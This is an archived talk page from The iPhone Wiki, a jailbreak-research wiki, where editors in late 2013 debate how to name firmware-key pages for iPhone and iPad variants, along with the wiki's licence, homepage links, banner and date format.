::::But the reason we want to not use the variants is because the new devices that are coming out are breaking he structure and also CDMA versions can use GSM in the 5c plus we have like 4 for GSM alone. I only meant drop buildtrain to shorten the urls down. For the iPhone 4 GSM Rev A we would have to list it as <code>iPhone 4 A1432 Rev</code> unless another idea is thought of. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:55, 14 September 2013 (UTC)

:::::No. Anything involving moving key pages to change their title I am ''completely'' against. As for the iPhone 5s and iPhone 5c, we ultimately have to wait. There may be different types, but if they all work with the same firmware, then what do we do then? Use <code>A1456/A1504</code>? I don't want to do that. It can get confusing in the future if that list were to be huge. With ''5'' different models for the iPhone 5c ''alone'', it's just not practical. For the fact that all support GSM, but not all support CDMA, we just do what we've ''been'' doing: "GSM" and "Global". --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 01:22, 14 September 2013 (UTC)

::::::There's nothing wrong with changing the titles of pages that don't even exist though. If *all* of the models use the same firmware, just go with "iPhone 5s." If they happen to be partitioned into two different firmwares again, that will certainly complicate things, but it wouldn't be worse than nonsense like "GSM," "GSM [<nowiki />Global]," "CDMA," "CDMA [<nowiki />Global]," or "GSM [<nowiki />Global Plus TD-LTE]." If it's just one oddball, we could just have "iPhone 5s" and "iPhone 5s A1XXX" (whatever the odd one is), and include a link on the former page to say "keys for model A1XXX are on this page." --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

::::I probably didn't phrase that well… I wasn't thinking of how Apple markets the product, but rather more along the lines of how they refer to it in, say, the tech specs page or support documents— the pages that shows the messier side to their simple sugar coating. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

::You keep misinterpreting/misrepresenting what I'm proposing. I never said anything about dropping, say, "iPhone 5" so firmware page titles would look like [[Sundance 10A405 (A1428)]]. I want to change the GSM/Global part to the A1XXX number, so it would probably show like [[Sundance 10A405 (iPhone 5 A1428)]]. (If a hardware revision were made, it would probably look like [[Sundance 10A405 (iPhone 5 A1428 Rev A)]].) From time to time, I edit URLs to browse the wiki too. But the GSM/Global identifiers don't work that well; again, '''all iPhone 5 models can connect to GSM'''. That's not really helpful. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

:::I suggest we drop the A and use Rev. As for the idea of changing to A1XXX, I see no issues and am for the idea. I admit it can cause chaos when we move the pages but we could limit the moving per day of course. Overall, I think it will be worth it. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 10:01, 14 September 2013 (UTC)

::::No. Don't drop the <code>A</code> from <code>Rev A</code>. Why would you even think to? You want to call them what Apple calls them, and the [[n90bap|revised iPhone 4 GSM]] is referred to with <code>Rev A</code>. In addition, there have been <code>Rev ''B''</code> things before, such as the [[S5L8947]] (A5 Rev B) used in the [[j33iap|revised Apple TV 3G]]. In addition, think of all the redirects we would need to keep for sites that link to key pages directly. I have even seen sites that still link with the URLs as <code>/wiki/index.php?title={Title}</code> instead of the year old change to <code>/wiki/{Title}</code>. The wiki handles that internally for us, but the redirects made in the moves would have to be kept. Currently, only the [[iPhone 5]] and [[iPad 4]] are the only devices referred to by their model numbers. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:53, 14 September 2013 (UTC)

:::That's why I don't want to change it. It's worked for us, and we have no idea how the new firmwares will be handled. I am betting that there will only be two firmware types - one for the GSM, and one for the Global (GSM+CDMA) model. The only reason they are split, IIRC, is because AT&T uses different LTE bands than rest of the GSM world.
:::Ultimately, the GSM/CDMA/Global monikors haven't caused any ''naming conflicts''. Ok, you don't want to use the ''marketing'' title. What about the way they are referred to on [[Apple Developer Center|ADC]], because that seems to be what you want. I may be misreading what you're saying again, but if we're going to do that, let's use their ''full'' title. Something <code>(iPad [4th generation Model A1458])</code> (iPad 4 Wi-Fi) and <code>(iPad Wi-Fi + Cellular [model for Verizon])</code> (iPad 3 Global). Does the first one tell you if the device is Wi-Fi or a Wi-Fi+3G model? Does the second one tell you ''at all'' that it is an [[iPad 3]], or that it supports GSM? No.
:::Apple has a history of being inconsistent. For example, the iPad 3 Wi-Fi is referred to on ADC (and iTunes) as "iPad Wi-Fi (3rd generation)" while the iPad 3 GSM is referred to as "iPad Wi-Fi + Cellular [model for AT&T]". What happened to the "3rd generation"? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:53, 14 September 2013 (UTC)

::::We could always list as <code>iPhone 4 (iPhone3,1)</code> etc instead if that would be better. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:13, 14 September 2013 (UTC)

::::Why is there a need to explicitly keep "Wi-Fi" in a key page's title? All you need is a way to distinguish what model it is from its other variants— the A1XXX model number does just that. It's not like we referred to the AppleTV3,2 as "Apple TV 3G (New Single-Core A5)" or something. And obviously, we can use common sense to address the 3rd generation iPad issue you brought up… Now you're just nitpicking. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 05:28, 15 September 2013 (UTC)
:::::Actually, I think we should wait until we see the firmware for iPhone 5c/5s and then decide. TBH, as [[User:5urd|5urd]] said, it is ok as it is but of course if once the new firmware is out it is more confusing, then we can think again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 14:12, 15 September 2013 (UTC)

:::::Come to think of it, we can use a mix of both; we can keep the "Global" moniker, but drop the "GSM" moniker in favor of the A1XXX model number. (The "GSM" moniker is the one that's been bothering me.) I think this works well for the iPad 3 (which is actually split into "CDMA" and "Global—" it probably doesn't need to be done for this), iPad 4, iPad mini 1G, and iPhone 5, but this leaves the question of what to do for the iPhone 5C/5S. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 04:04, 19 September 2013 (UTC)

::::::That would look worse! If we are going to do it, we have to do it for '''''all'''''. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:40, 19 September 2013 (UTC)

:::::::What is the status on this now? --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:18, 9 November 2013 (UTC)

:::::This discussion has stagnated, but I'm firing it up again— I want to fix this before the end of the year, so this can probably be seen as an ultimatum. Now that Apple has pushed a 7.1 beta to developers, we now know how Apple's splitting the new iPhones up— and it's by A1XXX model numbers still. :\ That's probably the path the wiki will go down, but I do have another idea. The other idea I have in mind is using the A1XXX model number for the cellular devices launched last year. But for this year's iPhones, the FCC ID is actually different between the two, so we could actually use that. Before this gets nitpicked on, the last letter can get changed to an "X" to signify that it's a wildcard of sorts. It's not a pretty solution so I do expect it to get shot down (hence why I'm going with the A1XXX model numbers unless everyone says otherwise), but I'm still throwing it out there in case everyone actually likes that. Everyone is welcome to suggest alternatives, but I '''will''' eliminate that GSM label before the year ends. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 18:31, 18 November 2013 (UTC)

::::::That is worse, nobody knows the FCC ID off the top of their head. I would suggest "iPhone 5 (iPhone5,1)" if anything. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:37, 18 November 2013 (UTC)

:::::::Using "iPhone5,1" or "iPhone6,2" is even ''less'' friendly… The FCC ID can be looked up in Settings or the back of a device. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:06, 18 November 2013 (UTC)

::::::::Well that is not the point. I say either use the firmware name or leave it alone. See what others thing though. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 19:13, 18 November 2013 (UTC)

:::::::::I currently plan on using the A1XXX model numbers— the FCC ID proposal was just thrown out there in the off chance that someone might like it. I'm not really a fan of it myself, but the FCC ID is probably the simplest way to figure out if it's an iPhone6,1 or iPhone6,2 since both have multiple A1XXX model numbers. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:19, 18 November 2013 (UTC)

::::::I agree to get rid of the "GSM" name, as almost all iPhones support GSM. The Axxxx numbers would be nice, but as some phones have several numbers, like A1457/A1518/A1528/A1530 (what is actually different between them?) we can't use it. For the FCC-ID, we can't use that either, because for example the iPhone 5 with FCC-ID BCG-E2599A stands for the GSM/A1428 and also for the GSM+CDMA/A1429 version. So I suggest to either use the identifier (like iPhone2,1) or better the internal name (like n88ap). That would have the advantage to separate them further, because the iPhone 4 A1332 has two internal versions: iPhone3,1/n90ap and the iPhone3,2/n90bap. The bigger question is where you want to use this. That determines mainly the name. On all the key pages? Then it must be a name that is different between models that use different firmwares. And regarding key pages, maybe we should delete all the key pages from this wiki and move them into some database instead and provide a nice user interface and API around it and integrate that into the wiki somehow. That way we can change all pages with one simple edit. For the name, I prefer the internal name. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:43, 18 November 2013 (UTC)

:::::::We would have to edit key pages too. They should not be removed however. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:46, 18 November 2013 (UTC)

:::::::Well, I wasn't trying to say that we had to decide on one way to differentiate ''everything''; "GSM" does work fine for, say, the iPhone 4. The proposal I brought up today was using the FCC ID only for this year's (2013's) iPhones— last year's cellular devices would get the A1XXX model numbers (i.e. two different solutions for two different years). But as of right now, I like how using A1XXX model numbers sounds for all of the affected devices, mostly because that's the path Apple's going in their developer portal. Something like "iPhone 5s (Model A1457/A1518/A1528/A1530)" is admittedly a mouthful for this year's iPhones though. At the moment, I'm inquiring about how to label it on [[Firmware]] and such pages, but I'm sure the outcome can be adapted for key page titles as well. As for differences between the models, it seems to be the supported LTE bands. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 03:49, 19 November 2013 (UTC)

:::::::::I still think that unless it is "iPhone 5 (iPhone5,1)" it will be complicated but on the other hand, I kind of like the idea that [[User:Http|http]] had, using the internal identifiers like this "iPhone 5 (n42ap)". The only problem is that it would cause quite a bit of a flood moving the key pages, although this can be done like 15 per day each or something. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:20, 19 November 2013 (UTC)

::::::::::I'm pretty sure the only key page that exists for an A5 (or newer) device is [[Telluride 9A406 (iPhone 4S)]]. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:40, 21 November 2013 (UTC)

:::::::::::That was an example. I know there are no more A5 pages, only the one you said and two beta for iPhone 4S. I just meant that it would show the design. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 13:36, November 21, 2013 (UTC)

== "GSM" Replacement Proposals ==
Since this discussion has become extremely lengthy, here are the proposals (to my understanding) for changing the labels, each of which can be subject to changes (i.e. dropping the word "Model" from Proposal A). In an effort to conserve space (ironically, this still adds a significant amount of length), I only included a few models, which should give an idea of the proposal. Basically anything with an A5 or newer is involved. Feel free to edit this list if I missed or totally misinterpreted something. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 03:25, 22 November 2013 (UTC)
# Proposal A (A1XXX numbers)
#* iPad 4 (Model A1458)
#* iPad 4 (Model A1459)
#* iPad 4 (Model A1460)
#* iPhone 5 (Model A1428)
#* iPhone 5 (Model A1429/A1442)
#* iPhone 5c (Model A1456/A1532)
#* iPhone 5c (Model A1507/A1516/A1526/A1529)
#* [[InnsbruckTaos 11B554a (iPad 4 A1458)]]
#* [[InnsbruckTaos 11B554a (iPhone 5 A1429/A1442)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c Model A1507/A1516/A1526/A1529)]]
# Proposal B (A1XXX + FCC ID)
#* iPad 4 (Model A1458)
#* iPad 4 (Model A1459)
#* iPad 4 (Model A1460)
#* iPhone 5 (Model A1428)
#* iPhone 5 (Model A1429/A1442)
#* iPhone 5c (BCG‑E2644A)
#* iPhone 5c (BCG‑E2694X)
#* [[InnsbruckTaos 11B554a (iPad 4 A1458)]]
#* [[InnsbruckTaos 11B554a (iPhone 5 A1429/A1442)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c BCG‑E2694X)]]
# Proposal C (-AP Identifier)
#* iPad 4 (p101ap)
#* iPad 4 (p102ap)
#* iPad 4 (p103ap)
#* iPhone 5 (n41ap)
#* iPhone 5 (n42ap)
#* iPhone 5c (n48ap)
#* iPhone 5c (n49ap)
#* [[InnsbruckTaos 11B554a (iPad 4 p101ap)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c n42ap)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c n49ap)]]
# Proposal D (iPhoneX,Y Identifier)
#* iPad 4 (iPad3,4)
#* iPad 4 (iPad3,5)
#* iPad 4 (iPad3,6)
#* iPhone 5 (iPhone5,1)
#* iPhone 5 (iPhone5,2)
#* iPhone 5c (iPhone5,3)
#* iPhone 5c (iPhone5,4)
#* [[InnsbruckTaos 11B554a (iPad3,4)]]
#* [[InnsbruckTaos 11B554a (iPhone5,2)]]
#* [[InnsbruckTaos 11B554a (iPhone5,4)]]

:I like this [[InnsbruckTaos 11B554a iPad 4 (3,4)]] or [[InnsbruckTaos 11B554a iPad 4 (iPad3,4)]]. I see there are 4 ways to approach this;
1. Change every single device. 
2. Change just devices with different variants, iPad 2+, iPad mini+, iPhone 4, iPhone 5+. 
3. Change A5+ only (which I hate the idea of). 
4. Change nothing at all. 
--[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:28, 22 November 2013 (UTC)
::My intention for this was to be a ''neutral'' (i.e. opinion-free) spot where all of the proposals were being mentioned, so people could easily see the proposed changes without any bias… v.v --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 20:54, 22 November 2013 (UTC)
:::TBH, I think it is better as it is, but I just stated my opinion that only A5+ would make in inconsistent. Though you could argue it is already, that is down to Apple and furthermore, just A5+ would still not eliminate iPhone 4 (GSM, GSM Rev A or CDMA). --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 17:07, November 22, 2013‎ (UTC)}}
:Do it like #4, and do them all. --[[User:CompilingEntropy|CompilingEntropy]] ([[User talk:CompilingEntropy|talk]]) 18:40, 23 November 2013 (UTC)
::::It will be a pain, but I like [[User:CompilingEntropy|CompilingEntropy]]'s idea as it would make it much much better in the end. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 16:25, 25 November 2013 (UTC)
:I would say A and B are impossible due to various numbers in the same model. I like C best. For variant C you could also leave away the "ap" at the end, because every model has that, so it would be even shorter. For D, that's simply longer names and these names are not used at many places, but I could live with that version as well. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:30, 1 December 2013 (UTC)
Taking into account everyone's thoughts on this, I think we'll probably go with option C. The wiki already uses the "-ap" identifiers for the model pages, and an identifier like "iPad3,4" may confuse someone into thinking it's a model of the [[iPad 3]]. (I would still like to use the A1XXX numbers since Apple does that, but nobody else seems to agree now…) I'll give this a few more days for any last words before acting on it. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 04:03, 26 December 2013 (UTC)
::It '''will''' get changed before the year ends. I don't know why your opinion keeps changing, but I have already explained the reason for changing it. You even agreed that it needs to be changed. I'm still open to suggestions on what to change it to though. Keep in mind that the change will affect not only key pages, but also how the devices will be referred to throughout the wiki. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:34, 26 December 2013 (UTC)
:::I know it will. I said it is fine to change. I like bot #3 and #4. Only point I must make is that I feel we should change all devices with multiple variants, including iPad Air and iPhone 4. This way, it is consistent and also removes GSM etc altogether. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 19:48, 26 December 2013 (UTC)
::I agree with Adam, if you're going to change some of them then change all of them. This includes iPods. Whatever the outcome, be consistent. As for the outcome itself, I really think we should just use device identifiers (iPhone2,1). That's what we're actually differentiating by, so it only makes sense to refer to devices by them. I don't think there would be any confusion, especially considering we'll keep the name of the device next to it regardless. Barring that, the next best option is ***ap. The other options don't make any sense considering modern devices. --[[User:CompilingEntropy|CompilingEntropy]] ([[User talk:CompilingEntropy|talk]]) 10:54, 30 December 2013 (UTC)
:::I like [[User:CompilingEntropy|CompilingEntropy]]'s idea, though I do not mind if we do every device or just ones with multiple variants, as long as that included pre A5 (iPhone 4) too. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:34, 30 December 2013 (UTC)

== "GSM" Replacement Proposals V2 ==
So this entire discussion came up because we need to remove "GSM" from models, because there are many models nowadays where the non-GSM model or Global or whatever model, all support GSM. One suggestion was the FCC number, but I think we already agreed that this is out of discussion (only used within USA and nobody refers to this number). So we have to use either
*The Axxxx number (like A1332 for the iPhone 4). This is how Apple identifies their devices.
*The ap number (like n94ap or just short N94). This is the internal name and used in internal references, like in the [[iBEC]] or [[iBSS]] filenames within an [[IPSW]]. (This is also what iH8sn0w has on his stickers on the devices.)
*The 1,2 number (like iPad1,1 for the iPad 1G). This identifier is used in the [[IPSW]] filenames.
There are several issues with using one over the other:
*Some devices (iPad 1G, iPhone 3G, iPhone 3GS, iPhone 4S, iPhone 5, iPhone 5c, iPhone 5s to be exact) have multiple Axxxx numbers for the same ap number/1,2 number. For example the iPad 1G: A1219 (WiFi model) and A1337 (GSM model) both have k48ap / iPad1,1. So only the Axxxx number could be used to replace the "GSM" identifier.
*The iPhone 4 has for A1332 two ap numbers/1,2 numbers: A1332 stands for both n90ap/iPhone3,1 and also for n90bap/iPhone3,2.
*The iPod touch 5G has the same 1,2 number for two ap numbers/Axxxx numbers: iPod5,1 stands for both A1421/n78ap and also for A1509/n78aap.
I understand the point from [[User:IAdam1n|iAdam1n]] somehow that we should make it consistent and change it everywhere in the same manner. The question is where to change what. So where do we use these terms?
*The biggest affected change would be the key pages, so any change there should be carefully considered. Currently we use something like: "InnsbruckTaos 11B554a (iPhone 5c Global)". So the discussion here is just about the change in the brackets. For the devices where no different hardware versions exist, I think the current naming is ok. So let's just continue using that. Only where different (sub-)devices exist for the same main model (like for the iPhone 5c) and they require a different firmware file, then we need to specify it. So we need to add something after the "iPhone 5c" to specify the difference. For older devices, we should leave it as it is, because it works very well there. For example the iPad 1G WiFi and GSM require different firmware, but can be differentiated that way. And we can't use the ap number, because both versions use k48ap, respectively iPad1,1. So I think we should leave the old devices as they are. For newer devices, like the iPhone 5c, there are only two variations for the firmware, but six different Axxxx numbers and we don't want to list all of them in the firmware name. We also cannot use "GSM" for the reason mentioned at the introduction. I would prefer to use the ap number there, but that yields to problems. In case of the iPod touch 5G, we have two models (A1421/n78ap and also A1509/n78aap). Fortunately both use the same firmware, so we don't have to specify anything. But if Apple would release an additional model that would require a different firmware, we would have to specify the name even here and we can't add a name like "n78ap+n78aap". The name iPod5,1 there seems to be the obvious choice, as it is contained in the ipsw name already, so it is unlikely that Apple will change that. The only question is the format then. My choice would be to keep it short, something like "InnsbruckTaos 11B554a (iPhone 5c [5,4])" instead of the current "InnsbruckTaos 11B554a (iPhone 5c Global)". We shouldn't repeat the word "iPhone" there. And we shouldn't remove the "5c" of the original name.
*We also have some hardware lists, for example on the key pages titles where we list under iPad 2: Wi-Fi, GSM, CDMA, Wi-Fi (A). They link directly to our ap-pages, for example the "Wi-Fi (A)" name links to "k93aap". I think we don't need to change this. For the iPhone 5c, we have GSM and Global and they also link to the ap-pages. The link remains there, so we would only change the name. I suggest to use the same short name as in the key page extension, so something like my suggested "[5,4]" for example (instead of "GSM").
*On the [[Models]] page, we have the column "Variant", which also lists "GSM" and "Global" etc. That would also need to change. I suggest to leave it for older devices where "GSM" is a valid differentiation. For newer devices we might list the bands it supports or something else.
*On hardware pages, like [[iPhone]], we also have names and links in the title bar. For devices that have different sub-devices (like the iPhone 4 and iPhone 5/5c/5s) I suggest to rename the title names to the ap-names, as they link to the respective page. I would not change the title "iPhone 3G" to "N82ap" although it links there. So this change would only apply to sub-titles.
--[[User:Http|http]] ([[User talk:Http|talk]]) 00:26, 31 December 2013 (UTC)

== Key page template ==
I actually like the idea of a database to an extent. I bet I could put together an extension that creates a [[Special:SpecialPages|special page]] that allows read access to everyone (and r/w access to users). Any edits to the key "pages" wouldn't cause a [[Special:RecentChanges|recent changes]] log. If we ever needed to update the layout, we would just need to update the extension. We could even have an API.
The only limitation is that updates to the extension would require either [[User:geohot|George]] or [[User:Dialexio|Alex]] needing to upload the fix. If we were to set up an external site, then all links to it would need to be wrapped with <code>...</code>.
Maybe a simple extension that takes links and redirects you to the external site? That could work. Like, we would have a link to, say, <code>[[<nowiki/>Special:Keys/iPad1,1/9A405]]</code> which would give an HTTP <code>301 Moved Permanently</code> header to, say, <code><nowiki>http://ioskeys.com/iPad1,1/9A405</nowiki></code>. Granted, someone would have to pay for the domain, but it would solve this problem. I may be able to pay for the domain if I make enough money by the time I finish writing everything. Any opposition? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 16:48, 21 November 2013 (UTC)
:I do not like the idea. I like the idea of the database to a degree, but I think that the pages should remain on this wiki. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 17:03, 21 November 2013 (UTC)
::I don't see this solving any problem— the backlash against changing the key page template was because of (unnecessary?) changes to the arguments, and the frequency of how often such changes were being proposed/applied. How would a database prevent it? For instance, let's say the database columns are all decided on. Suddenly, it's decided that SHA-1 hashes should be added as well, or perhaps "VFDecryptKey" will be renamed to "FSKey." People submitting keys would still be bothered with having to adjust for those changes. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:40, 21 November 2013 (UTC)
:::That with the database is something I'll implement anyway (if not someone else is faster, as I'm quite busy). I just threw that in here as it might solve the problem of the frequent template updates (which is/was wrong anyway). From there it would be easy to create the VFDecrypt page with an overview link or lists of missing keys and that stuff, so the wiki would not need any direct links. But it would mean that we either completely remove all keys here from the wiki and embrace that solution or have them still duplicate (which then doesn't solve the problem). Dialexio: renaming columns can be handled without interface changes, but that's another topic. So let's forget about this database thing for now and we can discuss again when I have something. We certainly don't want to add extensions for that. So back to the discussion about the renaming: If I understood this correctly, you only want to rename A5+ devices and therefore no key pages would be affected. Is my understanding correct? --[[User:Http|http]] ([[User talk:Http|talk]]) 22:08, 21 November 2013 (UTC)
::::As long as the pages stay on this wiki, I do not mind. Although, a database could be pointless as with only 50 more pages to edit for the new format, there is no planned new format/changes again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 22:16, 21 November 2013 (UTC)
::::About the renaming, that is correct; I'm only interested in changing the cellular labels on A5/+ devices. (Well, the iPad 2 can remain as-is.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 00:02, 22 November 2013 (UTC)
:::::Oh, well that would just make things more complicated/inconsistent. We should do all or none. About the template idea, there is also no need as it is not likely we will change the format again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:35, 22 November 2013 (UTC)
::::::Do we really need to CHANGE THE FORMAT 50 TIMES IN A ROW? The old one before everything was messed with worked fine enough. [[User:Winocm|Winocm]] ([[User talk:Winocm|talk]]) 18:22, 27 November 2013 (UTC)
:::::::It was actually one change, which was completed. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:32, 27 November 2013 (UTC)

==Login prompt revision suggestion==
I wrote a suggestion here: [[MediaWiki talk:Loginprompt]] (since I don't have permission to edit [[MediaWiki:Loginprompt]] directly) - I'd be interested in whether it sounds like a good idea to other people. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 01:00, 8 October 2013 (UTC)

==Homepage suggestions==
Under "Application Development", what about linking to [http://iphonedevwiki.net/index.php/Main_Page iPhoneDevWiki]? It's also a community-edited technical resource, and it links to this wiki. It could be helpful to add a little more detail to "Get [[up to speed]] in the community.", like this: "Get [[up to speed]] in the community - learn about how jailbreaks work." Under "Definitions", it could be helpful to list all the firmware tags in one line or sub-list, similar to how Jailbreak is organized next to Tethered jailbreak and Untethered jailbreak, both to save space and help readers understand the list. --[[User:Britta|Britta]] ([[User talk:Britta|talk]]) 23:01, 20 October 2013 (UTC)
:A link to the iPhoneDevWiki sounds good. I wonder if we should have an "External Links" or "Other Resources" section to include links to other sites (such as the [http://blog.iphone-dev.org/ iPhone Dev Team blog]) though. As for the "Up to Speed" page, I feel like the entire page could be reworked a bit— and perhaps even receive a new, clearer name ([[Introduction]]? [[Preface]]? Or something else?)— the current name makes it sound like it's for people that last paid attention to jailbreaking when the App Store didn't exist. And yeah, moving the IMG3 tags to a sub-list sounds like a really good idea. (Admittedly, I actually don't care for its inclusion in the first place, but that's just a personal preference.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 00:10, 21 October 2013 (UTC)
::There's already [[Useful Links]] with some links to other core community resources (which could be updated and rearranged) - I was just thinking that it'd be especially useful to link to iPhoneDevWiki prominently since it's likely for TheiPhoneWiki visitors to also be interested in relatively-organized technical information about development. Changing the name of "Up to Speed" sounds fine to me too - that page didn't get much attention since 2008 until I sort of commandeered it to serve as an "intro to jailbreaking" page. :) It could be renamed "getting started", as in "how to get started on learning about research into iOS devices, especially security research (such as jailbreaks)". [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:31, 21 October 2013 (UTC)
Also I'd love to see a dedicated section for "Good tasks for new editors", where we could maintain a list of relatively easy/straightforward suggested edits that wouldn't require vast technical knowledge, like updating that links page. Where would that go? Add it as a sub-section of [[The iPhone Wiki:Current events]] and link that section from the homepage or something? Or make a new page? [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:40, 21 October 2013 (UTC)

==What is 0x5265c384 in the boot process?==
Does anybody know where <code>0x5265c384</code> points to in the boot process? I haven't been able to find anything on it. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 20:14, 23 October 2013 (UTC)

==License for contributions==
This wiki has never had an official license for contributions. Now, IANAL, but IIRC, this means that you can't use ''anything'' posted here unless it qualifies as fair-use. What I propose is that we set a license and add a notice that states that any contributions after a set date are to be licensed under that license (that's kindof a mouthful). I think we should use the [http://creativecommons.org/licenses/by-sa/3.0/ CC-by-SA 3.0] as [[wikipedia:Wikipedia:Text of Creative Commons Attribution-ShareAlike 3.0 Unported License|Wikipedia uses it]], but that's just me. Any ideas? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 19:53, 9 November 2013 (UTC)
:Well, the edit info already says all this:
Please note that all contributions to The iPhone Wiki may be edited, altered, or
removed by other contributors. If you do not want your writing to be edited mercilessly,
then do not submit it here.
You are also promising us that you wrote this yourself, or copied it from a public
domain or similar free resource (see The [[:The iPhone Wiki:Copyrights|iPhone Wiki:Copyrights]] for details). '''Do not'''
'''submit copyrighted work without permission!'''
For me, that's enough. I don't need a 50 page license. But if you want to formalize this more, go ahead. --[[User:Http|http]] ([[User talk:Http|talk]]) 20:35, 9 November 2013 (UTC)

:Sounds good. It's good practice to have an official license, just in case any disputes happen someday, and to ensure that it's OK to copy text over to Wikipedia (for example). [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 21:32, 9 November 2013 (UTC)

==Future plans==
Now that I have SSH access, I've begun working on making several, somewhat-overdue changes to the wiki. The Renameuser extension was reinstated, so admins can now rename accounts. If you have another account, that can also get merged into your current account. If you happen to get locked out from both your account and the email used is no longer active, I can run a script to reset your password. I've also begun implementing a very noticeable change— as users of the Vector skin have noticed, the iOS 6-based theming is gone. It's a semi-temporary move though; it's going into its own skin, because… you know, choice is cool. People who like the Vector skin may not have liked the iOS theming, especially since IE 9 and lower didn't display it completely accurately. Therefore, it's going into its own theme. Once that's done I also plan on making a separate iOS 7-based skin. If there are any further thoughts or suggestions on how to improve the wiki, do let me know! --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 22:18, 9 November 2013 (UTC)

== #we r of #WONDER ==
<nowiki/>#we r hav from of #QUESTIN holme ! #we r from of #WONDER #what is of #RESON in of #EDIT #wikeee ? #tanks and of RT #RT Smiley Smiley :) :) 
<nowiki/>#we r of #WONDER ! #is from also #of #WAKIKIKI #open src :) #is avalable under from of #FRE license ? --[[User:UnthreadedJB|UnthreadedJB]] ([[User talk:UnthreadedJB|talk]]) 21:11, 1 December 2013 (UTC)

:See [[#License for contributions]] above; no formal license for the content at the moment, and it'd be nice to get more opinions on this from other editors. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 22:47, 1 December 2013 (UTC)

==Banner Replacement?==
I kinda feel like the banner on the front page is getting a little stale, so I'm interested in seeing it replaced. I tossed a proposal [https://twitter.com/Draxelf/status/408295008794845184 on Twitter] a couple of days ago (which is admittedly plain, but Myriad Set…), but I haven't heard any opinions on replacing the banner. Are there any thoughts on this matter? --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:42, 6 December 2013 (UTC)
:Or, [http://imgur.com/wJFqPl1 this]. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:22, 6 December 2013 (UTC)

:Looks nice in Myriad! More professional. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 04:01, 7 December 2013 (UTC)

==Date Format==
I see that [[User:IAdam1n|iAdam1n]] started to unify the date formats in this wiki. While I like this to be consistent, actually we should've talked about what format to use before changing it. I like the d_mon_yyyy format though. I also saw that he removed the <code>&nbsp;</code> between the date parts on the [[iFaith]] page that I added once purposefully. The reason was that when making the browser window small (or on the iPhone) that the date wraps to two lines, which is almost always undesired. The question is if we should do that everywhere too? Additionally, as we now seem to have a "standard" here, we should document it, so that new users know what format to use. -- [[User:Http|http]] ([[User talk:Http|talk]]) 17:42, 30 December 2013 (UTC)
:I just made it consistent. If you want the <code>&nbsp;</code> back, feel free to add it. I removed it as it did nothing (previewing on OS X). We should use the format I used throughout the wiki and not Dec 23, 2013 etc. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:32, 30 December 2013 (UTC)

Firmware Keys

2013-12-31T00:13:08Z

Http: /* 7.x */ fix wrong links

